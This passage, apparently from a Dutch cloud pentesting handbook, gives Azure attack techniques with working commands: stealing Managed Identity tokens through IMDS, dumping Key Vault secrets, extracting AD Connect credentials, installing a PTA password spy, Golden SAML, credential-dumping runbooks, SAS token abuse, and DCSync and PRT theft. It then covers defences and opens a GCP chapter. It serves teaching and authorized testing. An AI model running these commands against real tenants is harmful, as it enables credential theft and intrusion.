Rechten op een resource group geven impliciet rechten op alle resources erin. Als je Contributor bent op een resource group die een Key Vault bevat, kun je de access policies van die Key Vault wijzigen om jezelf leesrechten te geven.

# Resources in een resource group
az resource list --resource-group "TARGET_RG" --output table

# Als je Contributor bent op de RG die een Key Vault bevat:
# Stap 1: Voeg jezelf toe aan de Key Vault access policy
az keyvault set-policy \
    --name "vault-naam" \
    --upn "jouw@email.com" \
    --secret-permissions get list \
    --key-permissions get list \
    --certificate-permissions get list

# Stap 2: Lees de secrets (zie sectie 4.7)
az keyvault secret list --vault-name "vault-naam" -o table

4.6 Managed Identity Exploitation

4.6.1 De Onzichtbare Sleutel

Managed Identities zijn Azure’s oplossing voor “credentials in code.” Het idee is simpel: in plaats van een wachtwoord of API-key in een configuratiebestand of environment variable te plaatsen, wijst Azure automatisch een identiteit toe aan een compute resource. Die resource kan dan tokens aanvragen bij Azure AD zonder credentials.

Het is een goed idee. Het is zelfs een best practice. Het probleem is dat “geen credentials nodig” ook geldt voor een aanvaller die command execution heeft op die resource.

4.6.2 Het IMDS Endpoint

De Instance Metadata Service (IMDS) is bereikbaar op 169.254.169.254 — een link-local adres dat alleen beschikbaar is vanuit de Azure resource zelf. Het biedt metadata over de VM en, cruciaal, de mogelijkheid om tokens op te vragen voor de Managed Identity.

# Token opvragen voor Azure Resource Manager
curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | \
    python3 -m json.tool

# Token opvragen voor Microsoft Graph
curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" | \
    python3 -m json.tool

# Token opvragen voor Key Vault
curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" | \
    python3 -m json.tool

# Token opvragen voor Azure Storage
curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/" | \
    python3 -m json.tool

Het Metadata: true header is de enige “beveiliging” — het voorkomt dat SSRF-aanvallen vanuit de browser het endpoint bereiken (browsers sturen die header niet standaard). Maar vanuit een command shell? Geen probleem.

4.6.3 Azure VM Token Theft

Scenario: je hebt command execution op een Azure VM (via een webapplicatie-exploit, gestolen SSH-key, of compromised credentials). De VM heeft een Managed Identity.

# Stap 1: Controleer of er een Managed Identity is
curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | \
    python3 -c "import sys,json; d=json.load(sys.stdin); print(json.dumps(d.get('compute',{}).get('azEnvironment',''), indent=2))"

# Stap 2: Verkrijg een token
TOKEN=$(curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | \
    python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Stap 3: Gebruik het token om te enumereren
# Welke subscriptions kan deze identity bereiken?
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://management.azure.com/subscriptions?api-version=2020-01-01" | \
    python3 -m json.tool

# Welke resources?
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://management.azure.com/subscriptions/SUB_ID/resources?api-version=2021-04-01" | \
    python3 -m json.tool

# Welke role assignments heeft deze identity?
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://management.azure.com/subscriptions/SUB_ID/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId eq 'IDENTITY_OBJECT_ID'" | \
    python3 -m json.tool

4.6.4 App Service Identity

Azure App Services (web apps, API apps, function apps) ondersteunen ook Managed Identities, maar het IMDS-endpoint is iets anders:

# App Service gebruikt een environment variable voor het endpoint
echo $IDENTITY_ENDPOINT
echo $IDENTITY_HEADER

# Token opvragen in een App Service
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
    "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/" | \
    python3 -m json.tool

# Graph token
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
    "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://graph.microsoft.com/" | \
    python3 -m json.tool

4.6.5 Azure Functions Identity

Azure Functions gebruiken hetzelfde mechanisme als App Services. Als je code execution hebt in een Function (via event injection, een kwetsbare dependency, of directe toegang):

# Zelfde als App Service
TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
    "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/" | \
    python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Functies hebben vaak brede permissions voor hun taken
# Controleer wat je kunt doen
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://management.azure.com/subscriptions?api-version=2020-01-01" | \
    python3 -m json.tool

IB Tip: Managed Identity tokens hebben een standaard levensduur van 8-24 uur. Als je een token hebt verkregen, bewaar het — je kunt het herhaaldelijk gebruiken vanaf je eigen machine totdat het verloopt. Azure ziet het token als afkomstig van de Managed Identity, niet van jouw IP.

4.6.6 Van Managed Identity naar Lateral Movement

Het echte gevaar van Managed Identity-misbruik is niet het token zelf, maar wat je ermee kunt doen:

# Met een ARM token: command execution op andere VMs
curl -s -X POST \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    "https://management.azure.com/subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Compute/virtualMachines/TARGET_VM/runCommand?api-version=2023-03-01" \
    -d '{
        "commandId": "RunShellScript",
        "script": ["whoami; id; cat /etc/hostname"]
    }'

# Met een Graph token: directory enumeratie
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/users?\$top=50" | \
    python3 -m json.tool

# Met een Key Vault token: secrets lezen
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://VAULT_NAME.vault.azure.net/secrets?api-version=7.4" | \
    python3 -m json.tool

Het patroon is altijd hetzelfde: compromitteer een resource, steel het Managed Identity-token, en gebruik dat token om lateraal te bewegen naar andere resources. Het is Pass-the-Hash voor de cloud.

4.7 Key Vault Aanvallen

4.7.1 De Digitale Kluis

Azure Key Vault is waar organisaties hun geheimen bewaren: API-keys, connection strings, certificaten, encryptiesleutels. Het is de kluis van de bank. En net als bij een echte bank geldt: de kluis is zo veilig als de personen die de sleutel hebben.

4.7.2 Key Vault Enumeratie

# Alle Key Vaults in je subscriptions
az keyvault list --output table

# Details van een specifieke vault
az keyvault show --name "vault-naam" --output json

# Access policies bekijken (wie mag wat?)
az keyvault show --name "vault-naam" \
    --query "properties.accessPolicies[].{ObjectId:objectId,Permissions:permissions}" -o json

# Of, als de vault RBAC gebruikt in plaats van access policies:
az role assignment list --scope "/subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.KeyVault/vaults/vault-naam" -o table

4.7.3 Access Policies versus RBAC

Key Vault ondersteunt twee autorisatiemodellen:

Model Beschrijving Pentest-relevantie
Access Policies Vault-specifieke permissions per principal Vaak te breed geconfigureerd
Azure RBAC Standaard Azure role assignments Erft van resource group/subscription

Het verschil is belangrijk. Bij access policies moet je expliciet worden toegevoegd aan de vault. Bij RBAC kan een Contributor op de resource group zichzelf toegang geven door een role assignment te creëren.

4.7.4 Secret, Key en Certificate Extraction

# Secrets opsommen
az keyvault secret list --vault-name "vault-naam" --output table

# Een secret ophalen
az keyvault secret show --vault-name "vault-naam" --name "secret-naam" --query value -o tsv

# Alle secrets ophalen (een voor een)
for secret in $(az keyvault secret list --vault-name "vault-naam" --query "[].name" -o tsv); do
    echo "=== $secret ==="
    az keyvault secret show --vault-name "vault-naam" --name "$secret" --query value -o tsv
    echo
done

# Keys opsommen
az keyvault key list --vault-name "vault-naam" --output table

# Certificaten opsommen
az keyvault certificate list --vault-name "vault-naam" --output table

# Certificate met private key downloaden
az keyvault secret show --vault-name "vault-naam" --name "cert-naam" --query value -o tsv | \
    base64 -d > cert.pfx

De secrets in een Key Vault zijn vaak de kroonjuwelen: database connection strings, API-keys voor externe diensten, service account-wachtwoorden, TLS-certificaten met private keys.

Let op: Key Vault access wordt gelogd in Azure Diagnostic Logs (als deze zijn ingeschakeld). Elke get operatie op een secret genereert een audit event. In een volwassen omgeving wordt dit gemonitord. Wees selectief in wat je ophaalt en documenteer alles voor je rapport.

4.7.5 Soft-Delete en Purge Protection

Verwijderde Key Vault-items worden standaard 90 dagen bewaard (soft-delete). Soms bevatten verwijderde secrets waardevolle informatie die de organisatie “verwijderd” denkt te hebben.

# Verwijderde secrets bekijken
az keyvault secret list-deleted --vault-name "vault-naam" --output table

# Verwijderd secret ophalen
az keyvault secret show-deleted --vault-name "vault-naam" --name "oud-secret" --query value -o tsv

# Verwijderde vaults in de subscription
az keyvault list-deleted --output table

Niemand denkt aan soft-deleted secrets. Het is alsof je je dagboek verscheurt en in de prullenbak gooit, maar vergeet dat de prullenbak pas over drie maanden wordt geleegd. En de schoonmaker kan lezen.

4.8 Azure AD Connect

4.8.1 De Brug Tussen Twee Werelden

Azure AD Connect is het synchronisatiemechanisme tussen on-premises Active Directory en Entra ID. Het is de brug die de twee werelden verbindt, en bruggen zijn altijd interessante punten voor aanvallers — ze zijn smal, onvermijdelijk, en het verkeer erop is waardevol.

Er zijn drie synchronisatiemethoden:

Methode Beschrijving Aanvalspotentieel
Password Hash Sync (PHS) Wachtwoord-hashes worden gesynchroniseerd naar Azure AD Credential theft van het sync-account
Pass-through Authentication (PTA) Authenticatie wordt doorgestuurd naar on-prem DC Man-in-the-middle op de PTA-agent
Federation (ADFS) SAML-tokens via een on-prem ADFS-server Token signing certificate theft

4.8.2 Password Hash Sync Abuse

PHS is de meest voorkomende methode. Een service account op de on-premises DC (de Azure AD Connect-server) heeft replicatie-rechten — het kan wachtwoord-hashes ophalen via een mechanisme vergelijkbaar met DCSync. Die hashes worden vervolgens gesynchroniseerd naar Entra ID.

Het Azure AD Connect-service account is een high-value target:

# Op de Azure AD Connect server:

# Stap 1: Identificeer de sync server
# (vaak een standalone server met de naam AADC, SYNC, of CONNECT)

# Stap 2: Credentials extraheren met AADInternals
Install-Module AADInternals
Import-Module AADInternals

# Sync credentials ophalen (vereist local admin op de AADC-server)
Get-AADIntSyncCredentials
[+] Sync Account:
    Username: Sync_SERVER_abc123@domain.onmicrosoft.com
    Password: <base64-encoded>
    Domain:   domain.onmicrosoft.com

[+] AD DS Account:
    Username: MSOL_abc123def456
    Password: <cleartext password>
    Domain:   domain.local

Dat MSOL_-account heeft Directory Replication rechten op de on-premises AD. Met dat account kun je een DCSync uitvoeren:

# DCSync met het MSOL-account
impacket-secretsdump 'domain.local/MSOL_abc123def456:PASSWORD@DC_IP'

En het Sync-account heeft rechten om wachtwoorden te resetten in Entra ID. Dat maakt het een brug in twee richtingen: van cloud naar on-prem (via DCSync) en van on-prem naar cloud (via password reset).

4.8.3 Pass-through Authentication Abuse

PTA werkt anders: in plaats van hashes te synchroniseren, wordt elke cloud-authenticatie doorgestuurd naar een on-premises PTA-agent die het wachtwoord valideert tegen de lokale AD.

Het probleem: als je de PTA-agent comprimitteert, kun je alle authenticaties onderscheppen:

# Op de PTA-agent server (vereist local admin):
Install-Module AADInternals
Import-Module AADInternals

# PTA-agent backdoor installeren
# DIT INTERCEPTEERT ALLE WACHTWOORDEN
Install-AADIntPTASpy

# Wachtwoorden lezen
Get-AADIntPTASpyLog

Dit is een van de krachtigste posities die een aanvaller kan hebben: elke cloud-login wordt in cleartext gelogd. Elke. Login.

Let op: Een PTA-spy is een ingrijpende techniek. Het intercepteert productie-authenticatie. Gebruik dit alleen in een geautoriseerde pentest met expliciete toestemming voor dit type aanval, en documenteer precies wat je doet. Verwijder de spy onmiddellijk na het bewijs.

4.8.4 Federation Abuse

Bij federation (ADFS) authenticeren gebruikers via een on-premises ADFS-server die SAML-tokens uitgeeft. Als je het token signing certificate van de ADFS-server kunt stelen, kun je SAML-tokens forgen voor elke gebruiker — inclusief Global Admins. Dit is de “Golden SAML” aanval.

# Op de ADFS-server (vereist local admin):
# Token signing certificate exporteren
# Methode 1: Via AADInternals
Export-AADIntADFSSigningCertificate

# Methode 2: Via ADFSDump
.\ADFSDump.exe

# Met het certificaat: Golden SAML genereren
# (Meestal via AADInternals of custom tooling)

Het verschil met een Golden Ticket in on-premises AD: een Golden SAML geeft je toegang tot de cloud-omgeving. En omdat het token on-premises wordt gemaakt, is er geen spoor in Entra ID van hoe de authenticatie heeft plaatsgevonden.

4.9 Automation en Runbooks

4.9.1 De Robot-Afdeling

Azure Automation is Microsoft’s dienst voor het automatiseren van beheertaken. Denk aan: geplande scripts die VM’s ’s avonds uitzetten, compliance-checks die dagelijks draaien, patching-runbooks die maandelijks worden uitgevoerd.

Vanuit pentest-perspectief zijn Automation Accounts interessant om drie redenen:

  1. Runbooks bevatten vaak credentials — hardcoded wachtwoorden, connection strings, API-keys
  2. Run As accounts (deprecated maar nog veel in gebruik) hebben vaak brede RBAC-rechten
  3. Hybrid Runbook Workers draaien on-premises met hoge privileges

4.9.2 Automation Account Enumeratie

# Automation Accounts vinden
az automation account list --output table

# Runbooks in een Automation Account
az automation runbook list \
    --automation-account-name "account-naam" \
    --resource-group "rg-naam" --output table

# Runbook content ophalen (de broncode!)
az automation runbook show-content \
    --automation-account-name "account-naam" \
    --resource-group "rg-naam" \
    --name "runbook-naam"

4.9.3 Runbook Secrets

Automation Accounts hebben een “Variables” en “Credentials” sectie waar gevoelige waarden worden opgeslagen:

# Variables ophalen
az rest --method GET \
    --uri "https://management.azure.com/subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Automation/automationAccounts/ACCOUNT/variables?api-version=2023-11-01" | \
    python3 -m json.tool

# Encrypted variables zijn alleen leesbaar vanuit een runbook
# Maar cleartext variables kun je direct lezen

# Credentials ophalen (alleen de username, niet het wachtwoord)
az rest --method GET \
    --uri "https://management.azure.com/subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Automation/automationAccounts/ACCOUNT/credentials?api-version=2023-11-01" | \
    python3 -m json.tool

Om de daadwerkelijke wachtwoorden uit credentials te halen, moet je een runbook uitvoeren dat ze leest:

# Maak een runbook dat credentials dumpt (vereist write-rechten op het Automation Account)
$RunbookContent = @'
$cred = Get-AutomationPSCredential -Name "ServiceAccount"
Write-Output "Username: $($cred.UserName)"
Write-Output "Password: $($cred.GetNetworkCredential().Password)"

$var = Get-AutomationVariable -Name "DatabaseConnectionString"
Write-Output "ConnectionString: $var"
'@
# Runbook aanmaken en uitvoeren via CLI
az automation runbook create \
    --automation-account-name "account-naam" \
    --resource-group "rg-naam" \
    --name "debug-runbook" \
    --type PowerShell

# Content uploaden
az automation runbook replace-content \
    --automation-account-name "account-naam" \
    --resource-group "rg-naam" \
    --name "debug-runbook" \
    --content "$RUNBOOK_CONTENT"

# Publiceren en starten
az automation runbook publish \
    --automation-account-name "account-naam" \
    --resource-group "rg-naam" \
    --name "debug-runbook"

az automation runbook start \
    --automation-account-name "account-naam" \
    --resource-group "rg-naam" \
    --name "debug-runbook"

4.9.4 Hybrid Workers

Hybrid Runbook Workers zijn on-premises machines die zijn gekoppeld aan een Azure Automation Account. Runbooks die op een Hybrid Worker draaien, draaien met de rechten van het lokale service account — vaak LocalSystem of een hoog-geprivilegieerd domain account.

Als je een runbook kunt maken en uitvoeren op een Hybrid Worker, heb je command execution op een on-premises machine met hoge privileges. Dit is een klassiek cloud-naar-on-prem lateral movement pad.

# Hybrid Worker Groups vinden
az rest --method GET \
    --uri "https://management.azure.com/subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Automation/automationAccounts/ACCOUNT/hybridRunbookWorkerGroups?api-version=2022-08-08" | \
    python3 -m json.tool

4.10 Storage Account Aanvallen

4.10.1 De Opslagplaats

Azure Storage Accounts zijn de bouwstenen van dataopslag in Azure: blobs (bestanden), queues (berichten), tables (NoSQL), en files (SMB shares). Ze bevatten vaak gevoelige data: backups, logs, uploads, exports, database dumps.

4.10.2 Storage Account Enumeratie

# Alle storage accounts
az storage account list --output table

# Containers in een storage account (public access check)
az storage container list --account-name "ACCOUNT_NAME" \
    --auth-mode login --output table

# Public blobs checken (geen authenticatie nodig)
curl -s "https://ACCOUNT_NAME.blob.core.windows.net/CONTAINER_NAME?restype=container&comp=list" | \
    python3 -c "import sys; from xml.etree import ElementTree as ET; \
    tree = ET.parse(sys.stdin); [print(b.find('Name').text) for b in tree.findall('.//Blob')]"

# Blob inhoud downloaden
az storage blob download \
    --account-name "ACCOUNT_NAME" \
    --container-name "CONTAINER_NAME" \
    --name "bestand.txt" \
    --file ./bestand.txt \
    --auth-mode login

4.10.3 SAS Token Abuse

Shared Access Signatures (SAS) zijn tokens die tijdelijke, beperkte toegang geven tot storage resources. Ze worden als URL-parameters meegegeven:

https://account.blob.core.windows.net/container/file.txt?
    sv=2021-06-08&        # API versie
    ss=b&                  # Service (b=blob)
    srt=co&                # Resource type (c=container, o=object)
    sp=rwdlacx&            # Permissions (r=read, w=write, d=delete...)
    se=2027-01-01&         # Expiry
    st=2025-01-01&         # Start
    sig=SIGNATURE          # HMAC-SHA256 handtekening

Het probleem met SAS tokens:

  1. Ze zijn niet intrekbaar — er is geen manier om een SAS token te revowen behalve de storage account key te roteren (wat alle SAS tokens breekt)
  2. Ze staan vaak in broncode — hardcoded in configuratiebestanden, environment variables, git repositories
  3. De permissions zijn vaak te breedsp=rwdlacx is volledige controle
  4. De vervaldatum is vaak te ver weg — tokens die “voor het gemak” vijf jaar geldig zijn gemaakt
# Zoek naar SAS tokens in omgevingsvariabelen
env | grep -i "sig=" 2>/dev/null
env | grep -i "sas" 2>/dev/null

# Zoek in configuratiebestanden
find / -name "*.config" -o -name "*.json" -o -name "appsettings.*" 2>/dev/null | \
    xargs grep -l "sig=" 2>/dev/null

# Als je een SAS token hebt, test de permissions
# Download
curl -s "https://account.blob.core.windows.net/container/file.txt?SAS_TOKEN" -o file.txt

# Upload (als write-permissie is ingesteld)
curl -X PUT "https://account.blob.core.windows.net/container/evil.txt?SAS_TOKEN" \
    -H "x-ms-blob-type: BlockBlob" \
    -d "test data"

# List blobs
curl -s "https://account.blob.core.windows.net/container?restype=container&comp=list&SAS_TOKEN"

4.10.4 Shared Key Authentication

Elke storage account heeft twee access keys die volledige controle geven over alle data in het account. Deze keys worden niet geroteerd door een password policy en verlopen niet.

# Storage account keys ophalen (vereist listkeys permission)
az storage account keys list --account-name "ACCOUNT_NAME" --output table

# Met de key: alle containers opsommen
az storage container list --account-name "ACCOUNT_NAME" \
    --account-key "KEY" --output table

# Alle blobs in een container
az storage blob list --account-name "ACCOUNT_NAME" \
    --container-name "CONTAINER" \
    --account-key "KEY" --output table

# Blob downloaden
az storage blob download \
    --account-name "ACCOUNT_NAME" \
    --container-name "CONTAINER" \
    --name "gevoelig-bestand.bak" \
    --file ./gevoelig-bestand.bak \
    --account-key "KEY"

IB Tip: Storage account keys zijn het equivalent van het krbtgt-wachtwoord in on-premises AD — wie ze heeft, heeft alles. Documenteer in je rapport altijd of keys zijn geroteerd en of Shared Key-authenticatie is uitgeschakeld ten gunste van Entra ID (RBAC) authenticatie.

4.10.5 Public Blob Access

Ondanks jarenlange waarschuwingen staan er nog steeds storage accounts open op het internet. Microsoft heeft in 2023 de standaard gewijzigd naar “geen publieke toegang,” maar bestaande accounts behouden hun configuratie.

# Controleer of publieke blob-toegang is toegestaan
az storage account list --query "[].{Name:name,PublicAccess:allowBlobPublicAccess}" -o table

# Brute-force containernamen op een publiek storage account
for container in backup backups data files uploads logs exports dump database; do
    STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
        "https://TARGET_ACCOUNT.blob.core.windows.net/$container?restype=container&comp=list")
    [ "$STATUS" -eq 200 ] && echo "[+] Public container: $container"
done

4.11 Hybrid Identity Paden

4.11.1 De Twee-Richtingssnelweg

In de meeste enterprise-omgevingen is er geen duidelijke grens tussen on-premises en cloud. Gebruikers bestaan in beide werelden. Credentials worden gesynchroniseerd. Rechten overlappen. Dit creëert aanvalspaden die in beide richtingen werken:

On-premises naar Cloud: - Azure AD Connect credentials → Cloud admin access - PTA agent compromise → Wachtwoord-interceptie - ADFS token signing certificate → Golden SAML - On-prem admin → Global Admin (via elevated access)

Cloud naar On-premises: - Cloud admin → Azure AD Connect password reset → DCSync - Intune admin → Code execution op managed devices - Hybrid Worker runbooks → On-prem command execution - Azure Arc → Code execution op connected servers

4.11.2 Seamless SSO Abuse

Azure AD Seamless SSO maakt het mogelijk om automatisch in te loggen op cloud-resources als je al bent ingelogd op een domain-joined machine. Het werkt via een computeraccount AZUREADSSOACC in on-premises AD.

Dit account heeft een Kerberos decryptie-key die wordt gebruikt om Kerberos-tickets voor Azure AD te verifiëren. Als je die key steelt, kun je tickets forgen voor elke gebruiker:

# Op een DC of met DCSync rechten:
# Dump de hash van het AZUREADSSOACC account
mimikatz # lsadump::dcsync /user:AZUREADSSOACC$ /domain:domain.local

# Of via Impacket
impacket-secretsdump 'domain.local/admin:Password@DC_IP' -just-dc-user 'AZUREADSSOACC$'

Met de NTLM-hash van AZUREADSSOACC$ kun je Silver Tickets maken die gelden voor Azure AD. Dit is in wezen een Golden Ticket voor de cloud.

4.11.3 PRT Extraction

Primary Refresh Tokens worden opgeslagen op Azure AD-joined en hybrid-joined devices. Met local admin access op zo’n device kun je het PRT extraheren:

# Met Mimikatz (vereist SYSTEM-rechten)
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap

# Met ROADtoken (minder invasief)
.\ROADtoken.exe

# PRT gebruiken met ROADtools
roadrecon auth --prt-cookie "EXTRACTED_PRT_COOKIE"
roadrecon gather

Een gestolen PRT met MFA-claims is bijzonder waardevol: het bypast MFA voor alle toekomstige authenticaties, omdat het token bewijst dat MFA al is uitgevoerd. Het is het verschil tussen een dagkaart voor het OV (je hoeft niet bij elke halte opnieuw in te checken) en een losse kaartje (elke keer betalen).

4.11.4 Escalatiepaden Samengevat

┌───────────────────────────────────────────────────────────────┐
│                    On-Premises AD                              │
│                                                               │
│  Domain Admin ──> Azure AD Connect ──> MSOL Account           │
│       │                  │                    │                │
│       │                  │                    ▼                │
│       │                  │           DCSync (alle hashes)      │
│       │                  │                                     │
│       │                  ▼                                     │
│       │          Sync Account ──────────────────┐              │
│       │                                          │              │
│       ▼                                          ▼              │
│  AZUREADSSOACC$ ──> Silver Ticket       Cloud Admin Access     │
│  (Seamless SSO)     voor Azure AD                              │
│                                                               │
│  ADFS Server ──> Token Signing Cert ──> Golden SAML           │
│                                                               │
└───────────────────────┬───────────────────────────────────────┘
                        │
                        ▼
┌───────────────────────────────────────────────────────────────┐
│                      Entra ID (Cloud)                          │
│                                                               │
│  Global Admin ──> elevateAccess ──> Owner alle subscriptions  │
│       │                                                       │
│       ├──> Intune ──> Code execution op managed devices       │
│       │                                                       │
│       ├──> Automation ──> Hybrid Workers ──> On-prem code exec│
│       │                                                       │
│       └──> Azure Arc ──> Connected servers ──> On-prem access │
│                                                               │
│  App Registration ──> Service Principal ──> RBAC abuse        │
│                                                               │
│  Managed Identity ──> Token theft ──> Lateral movement        │
│                                                               │
└───────────────────────────────────────────────────────────────┘

Verdedigingsmaatregelen

Conditional Access

Conditional Access is de belangrijkste verdedigingslaag in Entra ID. Een goed geconfigureerd Conditional Access-beleid maakt veel van de aanvallen in dit hoofdstuk onmogelijk of significant moeilijker.

Essentiële policies:

Policy Beschrijving Welke aanval het mitigeert
MFA voor alle gebruikers Vereist MFA voor elke authenticatie Password spraying
Block legacy auth Blokkeer IMAP, POP3, SMTP AUTH, etc. MFA bypass via legacy protocols
Block device code flow Blokkeer de device authorization flow Device code phishing
Require compliant device Alleen beheerde devices Token theft vanaf onbeheerde devices
Block risky sign-ins Blokkeer bij “high” risico-score Diverse
Named locations Beperk tot vertrouwde IP-ranges Brute force vanuit onbekende locaties
Require app protection Vereist Intune-managed apps Data exfiltratie via onbeheerde apps
# Audit: alle Conditional Access policies ophalen
az rest --method GET \
    --uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" | \
    python3 -c "
import sys,json
policies = json.load(sys.stdin).get('value',[])
for p in policies:
    state = p.get('state','unknown')
    name = p.get('displayName','')
    print(f'[{state.upper():8}] {name}')
"

Privileged Identity Management (PIM)

PIM implementeert just-in-time privileged access: rollen zijn niet permanent toegewezen, maar moeten worden geactiveerd wanneer ze nodig zijn. Activering vereist een justificatie en kan MFA en goedkeuring vereisen.

PIM vermindert het aanvalsoppervlak door: - Minder permanent actieve Global Admins - Tijdgebonden rolactivering (max 8 uur standaard) - Audit trail van rolactivering - MFA-vereiste bij activering (zelfs als de sessie al MFA heeft)

Workload Identity Federation

Workload Identity Federation is de opvolger van client secrets voor app registrations. In plaats van een geheim dat gestolen kan worden, gebruikt het een federatieve vertrouwensrelatie met een externe identity provider. Geen secret, geen risk van secret leakage.

# Controleer of er nog apps zijn met client secrets (die zouden moeten migreren)
az ad app list --query "[?passwordCredentials[0]!=null].{App:displayName,Created:passwordCredentials[0].startDateTime,Expires:passwordCredentials[0].endDateTime}" -o table

Overige Aanbevelingen

Maatregel Beschrijving
Disable user consent Voorkom illicit consent grant attacks
Enable audit logging Azure AD sign-in logs + audit logs naar SIEM
Rotate storage keys Automatische rotatie via Key Vault
Disable public blob access Op subscription-level afdwingen
Monitor Managed Identity usage Anomaliedetectie op token-aanvragen
Azure AD Connect hardening Dedicated server, beperkte admin-toegang
PRT protection Token protection (Windows 11+)

Referentietabel

Onderwerp Techniek Tool MITRE ATT&CK Moeilijkheid
Tenant enumeratie Unauthenticated recon curl, browser T1589 (Gather Victim Identity Information) Laag
Directory enumeratie Authenticated user enum az cli, ROADtools, Graph API T1087.004 (Cloud Account Discovery) Laag
Password spraying Credential Access MSOLSpray T1110.003 (Password Spraying) Laag
MFA bypass (legacy auth) Legacy protocol abuse curl, Thunderbird T1078.004 (Cloud Accounts) Gemiddeld
Device code phishing OAuth device flow abuse Python, TokenTactics T1528 (Steal Application Access Token) Gemiddeld
Consent grant attack Illicit OAuth consent Custom app registration T1528 (Steal Application Access Token) Gemiddeld
Conditional Access bypass Policy gap exploitation roadrecon, Graph API T1078.004 (Cloud Accounts) Hoog
RBAC escalation Role assignment abuse az cli T1098.003 (Additional Cloud Roles) Gemiddeld
Custom role abuse Overprivileged custom roles az cli T1098.003 (Additional Cloud Roles) Gemiddeld
Managed Identity token theft IMDS token extraction curl T1552.005 (Cloud Instance Metadata API) Gemiddeld
Key Vault secrets Secret/key/cert extraction az cli T1552.001 (Credentials in Files) Gemiddeld
Storage account abuse SAS token / shared key az cli, curl T1530 (Data from Cloud Storage) Laag-Gemiddeld
Azure AD Connect (PHS) Sync credential extraction AADInternals T1003.006 (DCSync) Hoog
Azure AD Connect (PTA) Authentication interception AADInternals T1557 (Adversary-in-the-Middle) Hoog
Golden SAML ADFS cert theft + token forge ADFSDump, AADInternals T1606.002 (SAML Tokens) Hoog
Seamless SSO abuse AZUREADSSOACC$ hash theft Mimikatz, Impacket T1558.003 (Kerberoasting) Hoog
PRT extraction Primary Refresh Token theft Mimikatz, ROADtoken T1528 (Steal Application Access Token) Hoog
Automation runbook abuse Credential dump via runbook az cli T1078.004 (Cloud Accounts) Gemiddeld
Hybrid Worker exploitation On-prem code execution az cli T1059 (Command and Scripting Interpreter) Hoog
Global Admin escalation elevateAccess API az rest T1098.003 (Additional Cloud Roles) Laag (als je GA bent)

In het volgende hoofdstuk verlaten we de Azure-wereld en betreden we het territorium van Google — een plek waar alles draait om projecten, service accounts, en het onuitputtelijke vertrouwen dat Google heeft in zijn eigen infrastructuur. Spoiler: dat vertrouwen is niet altijd gerechtvaardigd.

GCP Aanvallen

GCP Aanvallen

“Google bouwde een zoekmachine, en besloot vervolgens dat het ook een cloudplatform kon zijn. Het resultaat is een ecosysteem dat briljant is in zijn ontwerp, onnavolgbaar in zijn documentatie, en verrassend toegeeflijk als je weet waar je moet kijken.”

5.1 GCP Architectuur

5.1.1 De Wereld Volgens Google

Google Cloud Platform is het derde imperium in de clouddrieeenheid, naast AWS en Azure. Het is kleiner dan zijn rivalen, maar het heeft een eigenaardigheid die het bijzonder interessant maakt voor pentesters: het IAM-systeem is fundamenteel anders opgebouwd dan dat van Azure of AWS. En “anders” in de beveiliging is bijna altijd synoniem voor “verwarrend,” en “verwarrend” is bijna altijd synoniem voor “kwetsbaar.”

Waar Azure een tenant-model hanteert met subscriptions en resource groups, en AWS accounts met VPCs, gebruikt Google een hierarchie van Organizations, Folders en Projects. Het klinkt simpel. Het is het niet.

5.1.2 De Hierarchie

┌──────────────────────────────────────────────────────────────────┐
│                        Organization                               │
│                     (example.com)                                  │
│                                                                   │
│   ┌──────────────────────────────────────────────────────────┐   │
│   │                    Folder: "Productie"                     │   │
│   │                                                           │   │
│   │   ┌─────────────────┐    ┌─────────────────┐             │   │
│   │   │  Project:        │    │  Project:        │             │   │
│   │   │  "prod-webapp"   │    │  "prod-database" │             │   │
│   │   │                  │    │                  │             │   │
│   │   │  - Compute VMs   │    │  - Cloud SQL     │             │   │
│   │   │  - Cloud Storage │    │  - BigQuery      │             │   │
│   │   │  - Cloud Functions│    │  - Pub/Sub       │             │   │
│   │   └─────────────────┘    └─────────────────┘             │   │
│   └──────────────────────────────────────────────────────────┘   │
│                                                                   │
│   ┌──────────────────────────────────────────────────────────┐   │
│   │                    Folder: "Development"                   │   │
│   │                                                           │   │
│   │   ┌─────────────────┐                                     │   │
│   │   │  Project:        │                                     │   │
│   │   │  "dev-sandbox"   │                                     │   │
│   │   │                  │                                     │   │
│   │   │  - GKE cluster   │                                     │   │
│   │   │  - Cloud Storage │                                     │   │
│   │   └─────────────────┘                                     │   │
